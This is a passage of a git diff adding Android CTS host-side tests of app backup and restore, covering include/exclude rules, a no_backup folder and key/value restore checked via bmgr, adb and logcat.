+        byte[] bytes = new byte[FILE_SIZE_BYTES];
+        new Random().nextBytes(bytes);
+
+        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+            bos.write(bytes, 0, bytes.length);
+        }
+    }
+
+    private void checkAllFilesExist() {
+        assertTrue("File in 'no_backup' did not exist!", mNoBackupFile.exists());
+        assertTrue("File in folder inside 'no_backup' did not exist!", mNoBackupFile2.exists());
+        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+    }
+
+    private void checkNoFilesExist() {
+        assertFalse("File in 'no_backup' did exist!", mNoBackupFile.exists());
+        assertFalse("File in folder inside 'no_backup' did exist!", mNoBackupFile2.exists());
+        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+    }
+
+    private void checkNoBackupFilesDoNotExist() {
+        assertFalse("File in 'no_backup' did exist!", mNoBackupFile.exists());
+        assertFalse("File in folder inside 'no_backup' did exist!", mNoBackupFile2.exists());
+    }
+
+    private void checkDoBackupFilesDoExist() {
+        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+    }
+}
diff --git a/hostsidetests/backup/includeexcludeapp/Android.mk b/hostsidetests/backup/includeexcludeapp/Android.mk
new file mode 100644
index 0000000..9c55290
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsIncludeExcludeApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
new file mode 100644
index 0000000..3726eca
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.includeexcludeapp">
+
+    <application android:label="IncludeExcludeBackupApp"
+                 android:fullBackupContent="@xml/my_backup_rules">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.includeexcludeapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml b/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml
new file mode 100644
index 0000000..dca51f5
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<full-backup-content>
+    <include domain="file" path="."/>
+    <exclude domain="file" path="exclude_folder"/>
+    <include domain="sharedpref" path="."/>
+    <exclude domain="sharedpref" path="exclude_shared_pref.xml"/>
+    <include domain="database" path="db_name/file_to_include"/>
+    <exclude domain="database" path="db_name/file_to_exclude"/>
+    <include domain="external" path="."/>
+    <exclude domain="external" path="exclude_folder"/>
+    <include domain="root" path="file_to_include"/>
+    <exclude domain="root" path="file_to_exclude"/>
+</full-backup-content>
\ No newline at end of file
diff --git a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
new file mode 100644
index 0000000..83b932b
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.includeexcludeapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side FullbackupRulesHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IncludeExcludeTest {
+    public static final String TAG = "IncludeExcludeCTSApp";
+    private static final int FILE_SIZE_BYTES = 1024 * 1024;
+    private static final String SHARED_PREF_KEY1 = "dummy_key1";
+    private static final String SHARED_PREF_KEY2 = "dummy_key2";
+    private static final int SHARED_PREF_VALUE1 = 1337;
+    private static final int SHARED_PREF_VALUE2 = 1338;
+
+    private Context mContext;
+
+    private List<File> mIncludeFiles;
+    private List<File> mExcludeFiles;
+
+    private SharedPreferences mIncludeSharedPref;
+    private SharedPreferences mExcludeSharedPref;
+
+    @Before
+    public void setUp() {
+        mContext = getTargetContext();
+        setupFiles();
+    }
+
+    private void setupFiles() {
+
+        // We add all the files we expect to be backed up accoring to res/my_backup_rules.xml to
+        // the mIncludeFiles list, and all files expected not to be to mExcludeFiles.
+        mIncludeFiles = new ArrayList<File>();
+        mExcludeFiles = new ArrayList<File>();
+
+        // Files in the normal files directory.
+        File filesDir = mContext.getFilesDir();
+        File excludeFolder = new File(filesDir, "exclude_folder");
+        mIncludeFiles.add(new File(filesDir, "file_to_include"));
+        mExcludeFiles.add(new File(excludeFolder, "file_to_exclude"));
+
+        // Files in database directory.
+        File databaseDir = mContext.getDatabasePath("db_name");
+        mIncludeFiles.add(new File(databaseDir, "file_to_include"));
+        mExcludeFiles.add(new File(databaseDir, "file_to_exclude"));
+
+        // Files in external files directory.
+        File externalDir = mContext.getExternalFilesDir(null);
+        File excludeExternalFolder = new File(externalDir, "exclude_folder");
+        mIncludeFiles.add(new File(externalDir, "file_to_include"));
+        mExcludeFiles.add(new File(excludeExternalFolder, "file_to_exclude"));
+
+        // Files in root directory
+        File rootDir = mContext.getDataDir();
+        mIncludeFiles.add(new File(rootDir, "file_to_include"));
+        mExcludeFiles.add(new File(rootDir, "file_to_exclude"));
+
+        // Set up SharedPreferences
+        mIncludeSharedPref =
+                mContext.getSharedPreferences("include_shared_pref", Context.MODE_PRIVATE);
+        mExcludeSharedPref =
+                mContext.getSharedPreferences("exclude_shared_pref", Context.MODE_PRIVATE);
+    }
+
+    @Test
+    public void createFiles() throws Exception {
+        // Make sure the data does not exist from before
+        deleteAllFiles();
+        deleteSharedPref();
+        checkNoFilesExist();
+        checkSharedPrefDontExist();
+
+        // Create test data
+        generateFiles();
+        generateSharedPrefs();
+
+        checkAllFilesExist();
+        checkSharedPrefExist();
+    }
+
+    @Test
+    public void deleteFilesAfterBackup() throws Exception {
+        // Make sure the test data exists first
+        checkAllFilesExist();
+        checkSharedPrefExist();
+
+        // Delete test data
+        deleteAllFiles();
+        deleteSharedPref();
+
+        // Now there should be no files left
+        checkNoFilesExist();
+        checkSharedPrefDontExist();
+    }
+
+    @Test
+    public void checkRestoredFiles() throws Exception {
+        // After a restore, only files in the mIncludeFiles list should exist.
+        checkIncludeFilesDoExist();
+        checkExcludeFilesDoNotExist();
+
+        // Also check that the SharedPreferences were restored, except the excluded ones.
+        checkIncludeSharedPrefExist();
+        checkExcludeSharedPrefDoNotExist();
+    }
+
+    private void generateFiles() {
+        try {
+            // Add data to all the files we created
+            for (File file : mIncludeFiles) {
+                addData(file);
+            }
+            for (File file : mExcludeFiles) {
+                addData(file);
+            }
+        } catch (IOException e) {
+            fail("Unable to generate files: " + e);
+        }
+    }
+
+    private void deleteAllFiles() {
+        for (File file : mIncludeFiles) {
+            file.delete();
+        }
+        for (File file : mExcludeFiles) {
+            file.delete();
+        }
+    }
+
+    private void addData(File file) throws IOException {
+        file.getParentFile().mkdirs();
+
+        byte[] bytes = new byte[FILE_SIZE_BYTES];
+        new Random().nextBytes(bytes);
+
+        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+            bos.write(bytes, 0, bytes.length);
+        }
+    }
+
+    private void checkAllFilesExist() {
+        for (File file: mIncludeFiles) {
+            assertTrue("File did unexpectedly not exist: " + file.getAbsolutePath(), file.exists());
+        }
+        for (File file: mExcludeFiles) {
+            assertTrue("File did unexpectedly not exist: " + file.getAbsolutePath(), file.exists());
+        }
+    }
+
+    private void checkNoFilesExist() {
+        for (File file: mIncludeFiles) {
+            assertFalse("File did unexpectedly exist: " + file.getAbsolutePath(), file.exists());
+        }
+        for (File file: mExcludeFiles) {
+            assertFalse("File did unexpectedly exist: " + file.getAbsolutePath(), file.exists());
+        }
+    }
+
+    private void checkExcludeFilesDoNotExist() {
+        for (File file: mExcludeFiles) {
+            assertFalse("File expected not to be restored did exist: " + file.getAbsolutePath(),
+                    file.exists());
+        }
+    }
+
+    private void checkIncludeFilesDoExist() {
+        for (File file: mIncludeFiles) {
+            assertTrue("File expected to be restored did not exist: " + file.getAbsolutePath(),
+                    file.exists());
+        }
+    }
+
+    private void generateSharedPrefs() {
+        SharedPreferences.Editor editor = mIncludeSharedPref.edit();
+        editor.putInt(SHARED_PREF_KEY1, SHARED_PREF_VALUE1);
+        editor.commit();
+
+
+        editor = mExcludeSharedPref.edit();
+        editor.putInt(SHARED_PREF_KEY2, SHARED_PREF_VALUE2);
+        editor.commit();
+    }
+
+    private void checkSharedPrefExist() {
+        int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+        assertEquals("Shared preference did not exist", SHARED_PREF_VALUE1, value);
+
+        value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+        assertEquals("Shared preference did not exist", SHARED_PREF_VALUE2, value);
+    }
+
+    private void deleteSharedPref() {
+        SharedPreferences.Editor editor = mIncludeSharedPref.edit();
+        editor.clear();
+        editor.commit();
+
+        editor = mExcludeSharedPref.edit();
+        editor.clear();
+        editor.commit();
+    }
+
+    private void checkSharedPrefDontExist() {
+        int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+        assertEquals("Shared preference did exist", 0, value);
+
+        value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+        assertEquals("Shared preference did exist", 0, value);
+    }
+
+    private void checkIncludeSharedPrefExist() {
+        int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+        assertEquals("Shared preference did not exist", SHARED_PREF_VALUE1, value);
+    }
+
+    private void checkExcludeSharedPrefDoNotExist() {
+        int value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+        assertEquals("Shared preference did exist", 0, value);
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java
new file mode 100644
index 0000000..7c2f25f
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java
@@ -0,0 +1,248 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test for checking that key/value backup and restore works correctly.
+ * It interacts with the app that generates random values and saves them in different shared
+ * preferences and files. The app uses BackupAgentHelper to do key/value backup of those values.
+ * The tests verifies that the values are restored after the app is uninstalled and reinstalled.
+ *
+ * NB: The tests uses "bmgr backupnow" for backup, which works on N+ devices.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class BackupRestoreHostSideTest extends BaseBackupHostSideTest {
+    /** The name of the APK of the app under test */
+    private static final String TEST_APP_APK = "CtsBackupRestoreDeviceApp.apk";
+
+    /** The package name of the APK */
+    private static final String PACKAGE_UNDER_TEST = "android.backup.cts.backuprestoreapp";
+
+    /** The class name of the main activity in the APK */
+    private static final String CLASS_UNDER_TEST = "KeyValueBackupRandomDataActivity";
+
+    /** The command to launch the main activity */
+    private static final String START_ACTIVITY_UNDER_TEST_COMMAND = String.format(
+            "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE_UNDER_TEST,
+            PACKAGE_UNDER_TEST,
+            CLASS_UNDER_TEST);
+
+    /** The command to clear the user data of the package */
+    private static final String CLEAR_DATA_IN_PACKAGE_UNDER_TEST_COMMAND = String.format(
+            "pm clear %s", PACKAGE_UNDER_TEST);
+
+    /**
+     * Time we wait before reading the logcat again if the message we want is not logged by the
+     * app yet.
+     */
+    private static final int SMALL_LOGCAT_DELAY_MS = 1000;
+
+    /**
+     * Message logged by the app after all the values were loaded from SharedPreferences and files.
+     */
+    private static final String VALUES_LOADED_MESSAGE = "ValuesLoaded";
+
+    /**
+     * Keys for various shared preferences and files saved/read by the app.
+     */
+    private static final String INT_PREF = "int-pref";
+    private static final String BOOL_PREF = "bool-pref";
+    private static final String FLOAT_PREF = "float-pref";
+    private static final String LONG_PREF = "long-pref";
+    private static final String STRING_PREF = "string-pref";
+    private static final String TEST_FILE_1 = "test-file-1";
+    private static final String TEST_FILE_2 = "test-file-2";
+
+    /** Number of the values saved/restored by the app (keys listed above) */
+    private static final int NUMBER_OF_VALUES = 7;
+
+    /**
+     * String equivalents of the default values of the shared preferences logged by the app.
+     * These values are logged by the app by default if it fails to generate or restore values.
+     */
+    private static final String DEFAULT_INT_STRING = Integer.toString(0);
+    private static final String DEFAULT_BOOL_STRING = Boolean.toString(false);
+    private static final String DEFAULT_FLOAT_STRING = Float.toString(0.0f);
+    private static final String DEFAULT_LONG_STRING = Long.toString(0L);
+    private static final String DEFAULT_STRING_STRING = "null";
+    private static final String DEFAULT_FILE_STRING = "empty";
+
+    private boolean mIsBackupSupported;
+    private boolean mWasBackupEnabled;
+    private String mOldTransport;
+
+    /**
+     * Map of the shared preferences/files values reported by the app.
+     * Format example: INT_PREF -> 17 (string, as found in the logcat).
+     */
+    private Map<String, String> mSavedValues;
+
+    @Test
+    public void testKeyValueBackupAndRestore() throws Exception {
+        // Clear app data if any
+        mDevice.executeShellCommand(CLEAR_DATA_IN_PACKAGE_UNDER_TEST_COMMAND);
+        // Clear logcat
+        mDevice.executeAdbCommand("logcat", "-c");
+        // Start the main activity of the app
+        mDevice.executeShellCommand(START_ACTIVITY_UNDER_TEST_COMMAND);
+
+        // The app will generate some random values onCreate. Save them to mSavedValues
+        saveDataValuesReportedByApp();
+
+        // If all the values are default, there is something wrong with the app
+        assertNotAllValuesAreDefault();
+
+        // Run backup
+        // TODO: make this compatible with N-, potentially by replacing 'backupnow' with 'run'.
+        String backupnowOutput = backupNow(PACKAGE_UNDER_TEST);
+
+        assertBackupIsSuccessful(PACKAGE_UNDER_TEST, backupnowOutput);
+
+        assertNull(uninstallPackage(PACKAGE_UNDER_TEST));
+
+        installPackage(TEST_APP_APK);
+
+        mDevice.executeAdbCommand("logcat", "-c");
+
+        // Start the reinstalled app
+        mDevice.executeShellCommand(START_ACTIVITY_UNDER_TEST_COMMAND);
+
+        // If the app data was restored successfully, the app should not generate new values and
+        // the values reported by the app should match values saved in mSavedValues
+        assertValuesAreRestored();
+    }
+
+    /**
+     * Saves the data values reported by the app in {@code mSavedValues}.
+     */
+    private void saveDataValuesReportedByApp()
+            throws InterruptedException, DeviceNotAvailableException {
+        mSavedValues = readDataValuesFromLogcat();
+        assertEquals(NUMBER_OF_VALUES, mSavedValues.size());
+    }
+
+    /**
+     * Checks that at least some values in {@code mSavedValues} are different from corresponding
+     * default values.
+     */
+    private void assertNotAllValuesAreDefault() {
+        boolean allValuesAreDefault = mSavedValues.get(INT_PREF).equals(DEFAULT_INT_STRING)
+                && mSavedValues.get(BOOL_PREF).equals(DEFAULT_BOOL_STRING)
+                && mSavedValues.get(FLOAT_PREF).equals(DEFAULT_FLOAT_STRING)
+                && mSavedValues.get(LONG_PREF).equals(DEFAULT_LONG_STRING)
+                && mSavedValues.get(STRING_PREF).equals(DEFAULT_STRING_STRING)
+                && mSavedValues.get(TEST_FILE_1).equals(DEFAULT_FILE_STRING)
+                && mSavedValues.get(TEST_FILE_2).equals(DEFAULT_FILE_STRING);
+
+        assertFalse("The values were not changed from default.", allValuesAreDefault);
+    }
+
+    /**
+     * Reads the values logged by the app and verifies that they are the same as the ones we saved
+     * in {@code mSavedValues}.
+     */
+    private void assertValuesAreRestored()
+            throws InterruptedException, DeviceNotAvailableException {
+        Map<String, String> restoredValues = readDataValuesFromLogcat();
+
+        // Iterating through mSavedValues (vs. restoredValues) keyset to make sure all of the
+        // keys are reported in restored data
+        for (String dataType : mSavedValues.keySet()) {
+            assertEquals(mSavedValues.get(dataType), restoredValues.get(dataType));
+        }
+    }
+
+    /**
+     * Reads the values that app has reported via logcat and saves them in a map.
+     *
+     * The app logs the values once they are read from shared preferences or a file.
+     * If the values are default ones (i.e., it's the first run of the application), the app then
+     * generates random values and saves them in shared preferences or a file.
+     * Finally, the app reads the values from shared preferences or a file again and logs them.
+     * We are only interested in the final (generated or restored) values.
+     * The format of the log messages is "INT_PREF:17".
+     *
+     * @return Map of the values found in logcat.
+     */
+    private Map<String, String> readDataValuesFromLogcat()
+            throws InterruptedException, DeviceNotAvailableException {
+        Map<String, String> result = new HashMap<>();
+
+        long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(30);
+
+        // The app generates reads, generates and reads values in async tasks fired onCreate.
+        // It may take some time for all tasks to finish and for logs to appear, so we check logcat
+        // repeatedly until we read VALUES_LOADED_MESSAGE, which is the last message the app logs.
+        search:
+        while (timeout >= System.currentTimeMillis()) {
+            String logs = getLogcatForClass(CLASS_UNDER_TEST);
+
+            Scanner in = new Scanner(logs);
+            while (in.hasNextLine()) {
+                String line = in.nextLine();
+                // Filter by TAG.
+                if (line.startsWith("I/" + CLASS_UNDER_TEST)) {
+                    // Get rid of the TAG.
+                    String message = line.split(":", 2)[1].trim();
+
+                    // VALUES_LOADED_MESSAGE is logged by the app when all the values are loaded and
+                    // logged so we can stop expecting more lines at this point.
+                    if (message.equals(VALUES_LOADED_MESSAGE)) {
+                        break search;
+                    }
+
+                    // Values are logged by the app in the format "INT_PREF:17".
+                    String[] values = message.split(":");
+                    if (values.length == 2) {
+                        result.put(values[0], values[1]);
+                    }
+                }
+            }
+            in.close();
+
+            // In case the key has not been found, wait for the log to update before
+            // performing the next search.
+            Thread.sleep(SMALL_LOGCAT_DELAY_MS);
+        }
+        assertTrue("Timeout while reading the app values", timeout > System.currentTimeMillis());
+        return result;
+    }
+
+    /**
+     * Returns the logcat string with the tag {@param className} and clears everything else.
+     */
+    private String getLogcatForClass(String className) throws DeviceNotAvailableException {
+        return mDevice.executeAdbCommand("logcat", "-v", "brief", "-d", className + ":I", "*:S");
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
new file mode 100644
index 0000000..8380184
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.Scanner;
+
+/**
+ * Base class for CTS backup/restore hostside tests
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public abstract class BaseBackupHostSideTest extends CompatibilityHostTestBase {
+
+    /** Value of PackageManager.FEATURE_BACKUP */
+    private static final String FEATURE_BACKUP = "android.software.backup";
+
+    private static final String LOCAL_TRANSPORT =
+            "android/com.android.internal.backup.LocalTransport";
+
+    private boolean mIsBackupSupported;
+    private boolean mWasBackupEnabled;
+    private String mOldTransport;
+
+    @Before
+    public void setUp() throws DeviceNotAvailableException, Exception {
+        mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
+        assumeTrue(mIsBackupSupported);
+        // Enable backup and select local backup transport
+        assertTrue("LocalTransport should be available.", hasBackupTransport(LOCAL_TRANSPORT));
+        mWasBackupEnabled = enableBackup(true);
+        mOldTransport = setBackupTransport(LOCAL_TRANSPORT);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mIsBackupSupported) {
+            setBackupTransport(mOldTransport);
+            enableBackup(mWasBackupEnabled);
+        }
+    }
+
+    /**
+     * Execute shell command "bmgr backupnow <packageName>" and return output from this command.
+     */
+    protected String backupNow(String packageName) throws DeviceNotAvailableException {
+        return mDevice.executeShellCommand("bmgr backupnow " + packageName);
+    }
+
+    /**
+     * Execute shell command "bmgr restore <packageName>" and return output from this command.
+     */
+    protected String restore(String packageName) throws DeviceNotAvailableException {
+        return mDevice.executeShellCommand("bmgr restore " + packageName);
+    }
+
+    /**
+     * Run test <testName> in test <className> found in package <packageName> on the device, and
+     * assert it is successful.
+     */
+    protected void checkDeviceTest(String packageName, String className, String testName)
+            throws DeviceNotAvailableException {
+        boolean result = runDeviceTests(packageName, className, testName);
+        assertTrue("Device test failed: " + testName, result);
+    }
+
+    /**
+     * Parsing the output of "bmgr backupnow" command and checking that the package under test
+     * was backed up successfully.
+     *
+     * Expected format: "Package <packageName> with result: Success"
+     */
+    protected void assertBackupIsSuccessful(String packageName, String backupnowOutput) {
+        // Assert backup was successful.
+        Scanner in = new Scanner(backupnowOutput);
+        boolean success = false;
+        while (in.hasNextLine()) {
+            String line = in.nextLine();
+
+            if (line.contains(packageName)) {
+                String result = line.split(":")[1].trim();
+                if ("Success".equals(result)) {
+                    success = true;
+                }
+            }
+        }
+        in.close();
+        assertTrue(success);
+    }
+
+    /**
+     * Parsing the output of "bmgr restore" command and checking that the package under test
+     * was restored successfully.
+     *
+     * Expected format: "restoreFinished: 0"
+     */
+    protected void assertRestoreIsSuccessful(String restoreOutput) {
+        assertTrue("Restore not successful", restoreOutput.contains("restoreFinished: 0"));
+    }
+
+    // Copied over from BackupQuotaTest
+    private boolean enableBackup(boolean enable) throws Exception {
+        boolean previouslyEnabled;
+        String output = mDevice.executeShellCommand("bmgr enabled");
+        Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
+        Matcher matcher = pattern.matcher(output.trim());
+        if (matcher.find()) {
+            previouslyEnabled = "enabled".equals(matcher.group(1));
+        } else {
+            throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
+        }
+
+        mDevice.executeShellCommand("bmgr enable " + enable);
+        return previouslyEnabled;
+    }
+
+    // Copied over from BackupQuotaTest
+    private String setBackupTransport(String transport) throws Exception {
+        String output = mDevice.executeShellCommand("bmgr transport " + transport);
+        Pattern pattern = Pattern.compile("\\(formerly (.*)\\)$");
+        Matcher matcher = pattern.matcher(output);
+        if (matcher.find()) {
+            return matcher.group(1);
+        } else {
+            throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
+        }
+    }
+
+    // Copied over from BackupQuotaTest
+    private boolean hasBackupTransport(String transport) throws Exception {
+        String output = mDevice.executeShellCommand("bmgr list transports");
+        for (String t : output.split(" ")) {
+            if (transport.equals(t.trim())) {
+                return true;
+            }
+        }
+        return false;
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
new file mode 100644
index 0000000..79ec24c
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that files created by an app are restored successfully after a backup, but that
+ * files put in the folder provided by getNoBackupFilesDir() [files/no_backup] are NOT backed up,
+ * and that files are included/excluded according to rules defined in the manifest.
+ *
+ * Invokes device side tests provided by android.cts.backup.fullbackupapp.FullbackupTest and
+ * android.cts.backup.includeexcludeapp.IncludeExcludeTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class FullbackupRulesHostSideTest extends BaseBackupHostSideTest {
+
+    private static final String FULLBACKUP_TESTS_APP_NAME = "android.cts.backup.fullbackupapp";
+    private static final String FULLBACKUP_DEVICE_TEST_CLASS_NAME =
+            FULLBACKUP_TESTS_APP_NAME + ".FullbackupTest";
+
+    private static final String INCLUDE_EXCLUDE_TESTS_APP_NAME =
+            "android.cts.backup.includeexcludeapp";
+    private static final String INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME =
+            INCLUDE_EXCLUDE_TESTS_APP_NAME + ".IncludeExcludeTest";
+
+    @Test
+    public void testNoBackupFolder() throws Exception {
+        // Generate the files that are going to be backed up.
+        checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+                "createFiles");
+
+        // Do a backup
+        String backupnowOutput = backupNow(FULLBACKUP_TESTS_APP_NAME);
+
+        assertBackupIsSuccessful(FULLBACKUP_TESTS_APP_NAME, backupnowOutput);
+
+        // Delete the files
+        checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+                "deleteFilesAfterBackup");
+
+        // Do a restore
+        String restoreOutput = restore(FULLBACKUP_TESTS_APP_NAME);
+
+        assertRestoreIsSuccessful(restoreOutput);
+
+        // Check that the right files were restored
+        checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+                "checkRestoredFiles");
+    }
